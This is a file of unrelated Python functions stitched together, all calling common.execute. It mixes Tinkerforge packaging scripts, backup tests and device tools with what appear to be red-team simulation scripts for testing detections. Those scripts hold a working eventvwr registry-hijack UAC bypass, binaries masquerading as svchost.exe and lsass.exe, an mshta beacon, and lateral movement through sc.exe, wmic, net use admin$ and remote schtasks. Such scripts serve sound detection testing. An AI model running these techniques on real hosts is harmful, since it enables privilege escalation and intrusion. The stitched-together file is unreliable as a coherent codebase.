def main(): # http server will terminate on main thread exit # if daemon is True common.log("MsHta Beacon") server, ip, port = common.serve_web() common.clear_web_cache() new_callback = "http://%s:%d" % (ip, port) common.log("Updating the callback to %s" % new_callback) common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback) mshta = 'mshta.exe' common.execute([mshta, HTA_FILE], timeout=10, kill=True) server.shutdown()
def main(): masquerades = [ "svchost.exe", "lsass.exe", "services.exe", "csrss.exe", ] for name in masquerades: path = os.path.abspath(name) common.copy_file(MY_APP, path) common.execute(path, timeout=3, kill=True) common.remove_file(path)
def server(cls, exports_opts): """ For nfs server: install `NFS_UTILS` packages (if available), writes `exports_opts` to `EXPORTS_PATH` (/etc/exports) and export test folder with given options for nfs client """ manager = PACKAGE_MANAGERS_MAP[dist()[0].lower()] exports = JOIN_EXPORTS(exports_opts) for util in NFS_UTILS: common.execute([manager, 'install', '-y', util]) with open(EXPORTS_PATH, 'r+') as file: if exports not in file.readlines(): file.write(exports) common.execute(['exportfs', '-a'])
def main(target_host=common.LOCAL_IP): host_str = '\\\\%s' % target_host # Current time at \\localhost is 11/16/2017 11:25:50 AM code, output = common.execute(['net', 'time', host_str]) match = re.search(r'현재 시간은 (\d+)-(\d+)-(\d+) (오전|오후) (\d+):(\d+):(\d+)', output) print(match.groups()) groups = match.groups() y, m, d, period, hh, mm, ss = groups now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss)) if period == '오후' and hh != '12': now += datetime.timedelta(hours=12) # Add one hour minutes task_time = now + datetime.timedelta(hours=1) # Round down minutes time_string = '%d:%d' % (task_time.hour, task_time.minute) # Enumerate all remote tasks common.execute(['at.exe', host_str]) # Create a job 1 hour into the future code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world']) if code == 1 and 'deprecated' in output: common.log("Unable to continue RTA. Not supported in this version of Windows") return common.UNSUPPORTED_RTA if code == 0: job_id = re.search('ID = (\d+)', output).group(1) # Check status and delete common.execute(['at.exe', host_str, job_id]) common.execute(['at.exe', host_str, job_id, '/delete'])
def main(target_file=common.get_path("bin", "myapp.exe")): common.log("Bypass UAC with %s" % target_file) common.log("Writing registry key") hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command") winreg.SetValue(hkey, "", winreg.REG_SZ, target_file) common.log("Running event viewer") common.execute(["c:\\windows\\system32\\eventvwr.exe"]) common.log("Restoring registry key", log_type="-") winreg.DeleteValue(hkey, "") winreg.DeleteKey(hkey, "") winreg.CloseKey(hkey)
def finish(self): root_dir = self.get_root_dir() # Copy IP Connection examples if self.get_config_name().space == 'Tinkerforge': for example in common.find_examples(root_dir, '^Example .*\.vi$'): shutil.copy(example[1], self.tmp_examples_dir) parts = os.path.split(example[1]) shutil.copy(os.path.join(parts[0], '10.0', parts[1]), self.tmp_examples_10_dir) # Copy bindings and readme for filename in self.get_released_files(): shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, '..', 'csharp', 'IPConnection.cs'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make AssemblyInfo.cs version = self.get_changelog_version() common.specialize_template( os.path.join(root_dir, '..', 'csharp', 'AssemblyInfo.cs.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'AssemblyInfo.cs'), { '<<BINDINGS>>': 'LabVIEW', '<<VERSION>>': '.'.join(version) }) # Make dll for sdk in [2, 4]: os.makedirs(os.path.join(self.tmp_dir, 'net{0}0'.format(sdk))) with common.ChangedDirectory(self.tmp_dir): common.execute([ '/usr/bin/mcs', '/optimize+', '/warn:4', '/sdk:{0}'.format(sdk), '/target:library', '/out:' + os.path.join(self.tmp_dir, 'net{0}0'.format(sdk), 'Tinkerforge.dll'), os.path.join(self.tmp_source_tinkerforge_dir, '*.cs') ]) # Make zip self.create_zip_file(self.tmp_dir)
def main(remote_host=None): remote_host = remote_host or common.find_remote_host() common.log("Attempting to laterally move to %s" % remote_host) remote_host = common.get_ipv4_address(remote_host) common.log("Using ip address %s" % remote_host) # Put the hostname in quotes for WMIC, but leave it as is if not re.match(common.IP_REGEX, remote_host): wmi_node = '"{}"'.format(remote_host) else: wmi_node = remote_host commands = [ "sc.exe \\\\{host} create test_service binPath= c:\\windows\\system32\\calc.exe", "sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe", "sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe", "sc.exe \\\\{host} start test_service", "sc.exe \\\\{host} delete test_service", "wmic.exe /node:{wmi_node} process call create ipconfig.exe", "wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'", "net.exe time \\\\{host}", "net.exe use \\\\{host}\\admin$", "net.exe use \\\\{host}\\admin$ /delete", "net.exe use \\\\{host}\c$", "net.exe use \\\\{host}\c$ /delete", ] for command in commands: common.execute(command.format(host=remote_host, wmi_node=wmi_node)) _, whoami = common.execute("whoami") _, hostname = common.execute("hostname") domain, user = whoami.lower().split("\\") hostname = hostname.lower() schtasks_host = remote_host # Check if the account is local or a domain if domain in (hostname, "NT AUTHORITY"): common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.LOCAL_IP) schtasks_host = common.LOCAL_IP task_name = "test_task-%d" % os.getpid() schtask_commands = [ r"schtasks /s {host} /delete /tn {name} /f", r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f", r"schtasks /s {host} /run /tn {name}", r"schtasks /s {host} /delete /tn {name} /f", ] for command in schtask_commands: command = command.format(host=schtasks_host, name=task_name) common.execute(command) # Remote powershell common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True)
def generate(bindings_root_directory): tmp_dir = os.path.join(bindings_root_directory, 'cpan_package') tmp_unzipped_dir = os.path.join(tmp_dir, 'unzipped') tmp_unzipped_source_dir = os.path.join(tmp_unzipped_dir, 'source') tmp_unzipped_source_lib_dir = os.path.join(tmp_unzipped_source_dir, 'lib') tmp_cpan_dir = os.path.join(tmp_dir, 'cpan') tmp_cpan_lib_dir = os.path.join(tmp_cpan_dir, 'lib') # Make directories common.recreate_directory(tmp_dir) # Unzip version = common.get_changelog_version(bindings_root_directory) common.execute(['/usr/bin/unzip', '-q', os.path.join(bindings_root_directory, 'tinkerforge_perl_bindings_{0}_{1}_{2}.zip'.format(*version)), '-d', tmp_unzipped_dir]) # Make CPAN package structure modules = ['Tinkerforge', 'Tinkerforge::IPConnection', 'Tinkerforge::Device', 'Tinkerforge::Error'] for filename in released_files: modules.append('Tinkerforge::' + filename.replace('.pm', '')) common.execute(['module-starter', '--dir=' + tmp_cpan_dir, '--module=' + ','.join(modules), '--distro=Tinkerforge', '--author="Ishraq Ibne Ashraf"', '[email protected]']) # Make README common.specialize_template(os.path.join(bindings_root_directory, 'README.template'), os.path.join(tmp_cpan_dir, 'README'), {'<<VERSION>>': '.'.join(version)}) # Make Changes shutil.copy(os.path.join(tmp_unzipped_dir, 'changelog.txt'), os.path.join(tmp_cpan_dir, 'Changes')) # Copy Makefile.PL shutil.copy(os.path.join(tmp_unzipped_source_dir, 'Makefile.PL'), tmp_cpan_dir) # Copy source shutil.rmtree(tmp_cpan_lib_dir) shutil.copytree(os.path.join(tmp_unzipped_source_lib_dir), os.path.join(tmp_cpan_lib_dir)) # Make package with common.ChangedDirectory(tmp_cpan_dir): common.execute(['/usr/bin/perl', 'Makefile.PL']) common.execute(['make', 'dist']) shutil.copy(os.path.join(tmp_cpan_dir, 'Tinkerforge-{0}.{1}.{2}.tar.gz'.format(*version)), bindings_root_directory)
def run(): def rm(): try: shutil.rmtree(NEW_PROJECT_NAME) except: pass rm() try: common.execute('bp', 'new', NEW_PROJECT_NAME) base = '{0}/{0}'.format(NEW_PROJECT_NAME) common.execute('python', base + '.py') yaml.safe_load(open(base + '.yml')) finally: rm()
def test_backup_ssh(self): self.source_tree.add_random_data() self.assertTreesMatchNot() backup_args = { 'action': 'backup', 'mode': 'fs', 'path_to_backup': self.source_tree.path, 'max_level': '6', 'max_segment_size': '67108864', 'backup_name': uuid.uuid4().hex, 'storage': 'ssh', 'container': self.container, 'ssh_key': self.ssh_key, 'ssh_username': self.ssh_username, 'ssh_host': self.ssh_host, 'metadata_out': '-' } restore_args = { 'action': 'restore', 'restore_abs_path': self.dest_tree.path, 'backup_name': copy(backup_args['backup_name']), 'storage': 'ssh', 'container': self.container, 'ssh_key': self.ssh_key, 'ssh_username': self.ssh_username, 'ssh_host': self.ssh_host } result = common.execute(FREEZERC + self.dict_to_args(backup_args)) self.assertIsNotNone(result) result = json.loads(result) sub_path = '_'.join([result['hostname'], result['backup_name']]) # It may be reasonable to insert a check of the files in the # storage directory # file_list = self.get_file_list_ssh(sub_path) self.assertIn('backup_name', result) self.assertEquals(result['backup_name'], backup_args['backup_name']) self.assertIn('container', result) self.assertEquals(result['container'], self.container) result = common.execute(FREEZERC + self.dict_to_args(restore_args)) self.assertIsNotNone(result) self.assertTreesMatch() self.remove_ssh_directory(sub_path)
def finish(self): root_dir = self.get_root_dir() # Copy IP Connection examples if self.get_config_name().space == 'Tinkerforge': for example in common.find_examples(root_dir, '^Example .*\.vi$'): shutil.copy(example[1], self.tmp_examples_dir) parts = os.path.split(example[1]) shutil.copy(os.path.join(parts[0], '10.0', parts[1]), self.tmp_examples_10_dir) # Copy bindings and readme for filename in self.get_released_files(): shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, '..', 'csharp', 'IPConnection.cs'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make AssemblyInfo.cs version = self.get_changelog_version() common.specialize_template(os.path.join(root_dir, '..', 'csharp', 'AssemblyInfo.cs.template'), os.path.join(self.tmp_source_tinkerforge_dir, 'AssemblyInfo.cs'), {'<<BINDINGS>>': 'LabVIEW', '<<VERSION>>': '.'.join(version)}) # Make dll for sdk in [2, 4]: os.makedirs(os.path.join(self.tmp_dir, 'net{0}0'.format(sdk))) with common.ChangedDirectory(self.tmp_dir): common.execute(['mcs', '/optimize+', '/warn:4', '/sdk:{0}'.format(sdk), '/target:library', '/out:' + os.path.join(self.tmp_dir, 'net{0}0'.format(sdk), 'Tinkerforge.dll'), os.path.join(self.tmp_source_tinkerforge_dir, '*.cs')]) # Make zip self.create_zip_file(self.tmp_dir)
def save_xmltv(): try: common.dbg_log('functions::save_xmltv', 'enter_function') common.notify(common.__scriptname__, common.Lang(33001), 'IconInfo') pDialog = xbmcgui.DialogProgressBG() pDialog.create(common.Lang(33004), '') prs = parservsetv.parser(pDialog) prs.get_content() prs.save_xml() pDialog.close() common.notify(common.__scriptname__, common.Lang(33002), 'IconInfo') xbmcaddon.Addon(common.__scriptid__).setSetting("last_update",datetime.datetime.now().strftime('%Y%m%d')) if common.execute_script == 'true': common.dbg_log('functions::save_xmltv', 'execute script - ' + common.script_patch) common.execute(common.script_patch) common.dbg_log('functions::save_xmltv', 'exit_function') except Exception, e: common.notify(common.__scriptname__, common.Lang(33003), 'IconError') common.dbg_log('functions::save_xmltv', 'ERROR: (' + repr(e) + ')', common.logErorr)
def test_backup_local_storage_lvm(self): if not self.use_lvm: return self.source_tree.add_random_data() self.assertTreesMatchNot() backup_name = uuid.uuid4().hex lvm_auto_snap= self.source_tree.path lvm_snapsize= '1G' lvm_snapname= 'freezer-snap_{0}'.format(backup_name) lvm_dirmount = '/var/freezer/freezer-{0}'.format(backup_name) path_to_backup = os.path.join(lvm_dirmount, self.source_tree.path) with common.Temp_Tree() as storage_dir: backup_args = { 'action': 'backup', 'mode': 'fs', 'path_to_backup': path_to_backup, 'lvm_auto_snap': lvm_auto_snap, 'lvm_dirmount': lvm_dirmount, 'lvm_snapsize': lvm_snapsize, 'lvm_snapname': lvm_snapname, 'container': storage_dir.path, 'storage': 'local', 'max_level': '6', 'max_segment_size': '67108864', 'backup_name': backup_name } restore_args = { 'action': 'restore', 'restore_abs_path': self.dest_tree.path, 'backup_name': copy(backup_args['backup_name']), 'storage': 'local', 'container': storage_dir.path } result = common.execute(FREEZERC + self.dict_to_args(backup_args)) self.assertIsNotNone(result) result = common.execute(FREEZERC + self.dict_to_args(restore_args)) self.assertIsNotNone(result) self.assertTreesMatch()
def install (extraArgs = ""): curDir = os.getcwd() try: os.chdir(common.ANDROID_DIR) adbCmd = common.shellquote(common.ADB_BIN) if len(extraArgs) > 0: adbCmd += " %s" % extraArgs print "Removing old dEQP Package..." common.execute("%s uninstall com.drawelements.deqp" % adbCmd) print "" print "Installing dEQP Package..." common.execute("%s install -r package/bin/dEQP-debug.apk" % adbCmd) print "" finally: # Restore working dir os.chdir(curDir)
def backup(): return execute('sudo "%s" -r --rawdeviceread 0 1536 ac100-2.img \ --rawdeviceread 1536 256 ac100-3.img \ --rawdeviceread 1792 1024 ac100-4.img \ --rawdeviceread 2816 2560 ac100-5.img \ --rawdeviceread 5376 4096 ac100-6.img \ --rawdeviceread 9984 153600 ac100-8.img \ --rawdeviceread 163584 204800 ac100-9.img \ --rawdeviceread 368384 1024 ac100-10.img \ --rawdeviceread 369664 632320 ac100-12.img \ --sync' % nvflash())
def finish(self): root_dir = self.get_bindings_root_directory() # Copy IP Connection examples for example in common.find_examples(root_dir, "^Example.*\.php$"): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme package_files = ['<file name="Tinkerforge/IPConnection.php" role="php" />'] for filename in released_files: shutil.copy(os.path.join(root_dir, "bindings", filename), self.tmp_source_tinkerforge_dir) package_files.append('<file name="Tinkerforge/{0}" role="php" />'.format(os.path.basename(filename))) shutil.copy(os.path.join(root_dir, "IPConnection.php"), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, "changelog.txt"), self.tmp_dir) shutil.copy(os.path.join(root_dir, "readme.txt"), self.tmp_dir) shutil.copy(os.path.join(root_dir, "..", "configs", "license.txt"), self.tmp_dir) # Make package.xml version = common.get_changelog_version(root_dir) date = datetime.datetime.now().strftime("%Y-%m-%d") common.specialize_template( os.path.join(root_dir, "package.xml.template"), os.path.join(self.tmp_source_dir, "package.xml"), {"{{VERSION}}": ".".join(version), "{{DATE}}": date, "{{FILES}}": "\n ".join(package_files)}, ) # Make PEAR package with common.ChangedDirectory(self.tmp_source_dir): common.execute(["/usr/bin/pear", "package", "package.xml"]) # Remove build stuff shutil.move( os.path.join(self.tmp_source_dir, "Tinkerforge-{0}.{1}.{2}.tgz".format(*version)), os.path.join(self.tmp_dir, "Tinkerforge.tgz"), ) os.remove(os.path.join(self.tmp_source_dir, "package.xml")) # Make zip self.create_zip_file(self.tmp_dir)
def finish(self): root_dir = self.get_root_dir() # Copy IP Connection examples if self.get_config_name().space == 'Tinkerforge': for example in common.find_examples(root_dir, r'^Example.*\.php$'): shutil.copy(example[1], self.tmp_examples_dir) # Copy bindings and readme package_files = ['<file name="Tinkerforge/IPConnection.php" role="php" />'] for filename in self.get_released_files(): shutil.copy(os.path.join(self.get_bindings_dir(), filename), self.tmp_source_tinkerforge_dir) package_files.append('<file name="Tinkerforge/{0}" role="php" />'.format(os.path.basename(filename))) shutil.copy(os.path.join(root_dir, 'IPConnection.php'), self.tmp_source_tinkerforge_dir) shutil.copy(os.path.join(root_dir, 'changelog.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, 'readme.txt'), self.tmp_dir) shutil.copy(os.path.join(root_dir, '..', 'configs', 'license.txt'), self.tmp_dir) # Make package.xml version = self.get_changelog_version() date = datetime.datetime.now().strftime("%Y-%m-%d") common.specialize_template(os.path.join(root_dir, 'package.xml.template'), os.path.join(self.tmp_source_dir, 'package.xml'), {'{{VERSION}}': '.'.join(version), '{{DATE}}': date, '{{FILES}}': '\n '.join(package_files)}) # Make PEAR package with common.ChangedDirectory(self.tmp_source_dir): common.execute(['pear', 'package', 'package.xml']) # Remove build stuff shutil.move(os.path.join(self.tmp_source_dir, 'Tinkerforge-{0}.{1}.{2}.tgz'.format(*version)), os.path.join(self.tmp_dir, 'Tinkerforge.tgz')) os.remove(os.path.join(self.tmp_source_dir, 'package.xml')) # Make zip self.create_zip_file(self.tmp_dir)
def test_backup_single_level(self): """ - use the default source and destination trees in /tmp (see common.TestFS) - use temporary directory for backup storage - add some random data - check that trees don't match anymore - execute backup of source tree - execute restore into destination tree - check that source and destination trees match :return: non on success """ self.source_tree.add_random_data() self.assertTreesMatchNot() with common.Temp_Tree() as storage_dir: backup_args = { 'action': 'backup', 'mode': 'fs', 'path_to_backup': self.source_tree.path, 'container': storage_dir.path, 'storage': 'local', 'max_level': '6', 'max_segment_size': '67108864', 'backup_name': uuid.uuid4().hex } restore_args = { 'action': 'restore', 'restore_abs_path': self.dest_tree.path, 'backup_name': copy(backup_args['backup_name']), 'storage': 'local', 'container': storage_dir.path } result = common.execute(FREEZERC + self.dict_to_args(backup_args)) self.assertIsNotNone(result) result = common.execute(FREEZERC + self.dict_to_args(restore_args)) self.assertIsNotNone(result) self.assertTreesMatch()
def restore(): mbr = '' em1 = '' em2 = '' return execute('sudo "%s" -r --rawdevicewrite 0 1536 ac100-2.img \ --rawdevicewrite 1536 256 ac100-3.img \ --rawdevicewrite 1792 1024 ac100-4.img \ --rawdevicewrite 2816 2560 ac100-5.img \ --rawdevicewrite 5376 4096 ac100-6.img \ --rawdevicewrite 9472 512 "%s" \ --rawdevicewrite 477184 256 "%s" \ --rawdevicewrite 2526464 256 "%s" \ --sync' % (nvflash(), mbr, em2, em1))
def test_backup_swift_mysql(self): self.source_tree = common.Temp_Tree(dir='/var/lib/mysql', create=False) backup_name = uuid.uuid4().hex lvm_auto_snap = self.source_tree.path lvm_snapsize = '1G' lvm_snapname = 'freezer-snap_{0}'.format(backup_name) lvm_dirmount = '/var/freezer/freezer-{0}'.format(backup_name) path_to_backup = os.path.join(lvm_dirmount, self.source_tree.path) backup_args = { 'action': 'backup', 'mode': 'mysql', 'mysql_conf': '/etc/mysql/debian.cnf', 'path_to_backup': path_to_backup, 'lvm_auto_snap': lvm_auto_snap, 'lvm_dirmount': lvm_dirmount, 'lvm_snapsize': lvm_snapsize, 'lvm_snapname': lvm_snapname, 'container': 'freezer_test_container_{0}'.format(backup_name), 'storage': 'swift', 'max_level': '6', 'max_segment_size': '67108864', 'backup_name': backup_name } restore_args = { 'action': 'restore', 'restore_abs_path': self.dest_tree.path, 'backup_name': copy(backup_args['backup_name']), 'storage': 'swift', 'container': copy(backup_args['container']) } result = common.execute(FREEZERC + self.dict_to_args(backup_args)) self.assertIsNotNone(result) result = common.execute(FREEZERC + self.dict_to_args(restore_args)) self.assertIsNotNone(result)
def test_backup_preexisting_dir(self): """ Use external pre-defined directory for tests. If directory does not exist, then skip Restore to temporary folder (removed on exit) :return: """ workdir = os.path.expanduser('~/test_dir') if not os.path.isdir(workdir): return self.source_tree = common.Temp_Tree(dir='/work', create=False) with common.Temp_Tree() as storage_dir: backup_args = { 'action': 'backup', 'mode': 'fs', 'path_to_backup': self.source_tree.path, 'container': storage_dir.path, 'storage': 'local', 'max_level': '6', 'max_segment_size': '67108864', 'backup_name': uuid.uuid4().hex } restore_args = { 'action': 'restore', 'restore_abs_path': self.dest_tree.path, 'backup_name': copy(backup_args['backup_name']), 'storage': 'local', 'container': storage_dir.path } result = common.execute(FREEZERC + self.dict_to_args(backup_args)) self.assertIsNotNone(result) result = common.execute(FREEZERC + self.dict_to_args(restore_args)) self.assertIsNotNone(result) self.assertTreesMatch()
def run_mimic_core(data, debug=False, filename=None): id, f, timeout, metric, cleanup = data fn = "%s/result-%d.js" % (out, id) if filename is not None: fn = filename t = time.time() col = "--colors 0" if debug: col = "--verbose" command = '%s %s --metric %d --cleanup %d --out "%s" %s' % ( base_command, col, metric, cleanup, fn, f.get_command_args(), ) if debug: print colors.grey("Command to run") print command print colors.grey("Handing control to a single instance of mimic-core, which may or may not succeed") print colors.grey(line) sys.exit(os.system(command)) exitstatus, output = common.execute(command, timeout) elapsed_time = time.time() - t if exitstatus == 0: iters = int([m.group(1) for m in re.finditer("Found in ([0-9]+) iterations", output)][-1]) core_time = float([m.group(1) for m in re.finditer("and ([0-9.]+) seconds", output)][-1]) loop_index = -1 if "loop-free" not in output: loop_index = int(re.search("using the loop template with index: ([0-9]+)", output).group(1)) # res = "%s: success after %.2f seconds and %d iterations [%.1f iterations/second]" % (f.shortname, elapsed_time, iters, float(iters)/elapsed_time) res = CoreSuccess(output, metric, fn, iters, core_time, loop_index) else: res = CoreFailure(output, metric, exitstatus) send_result(id, res) send_done(id)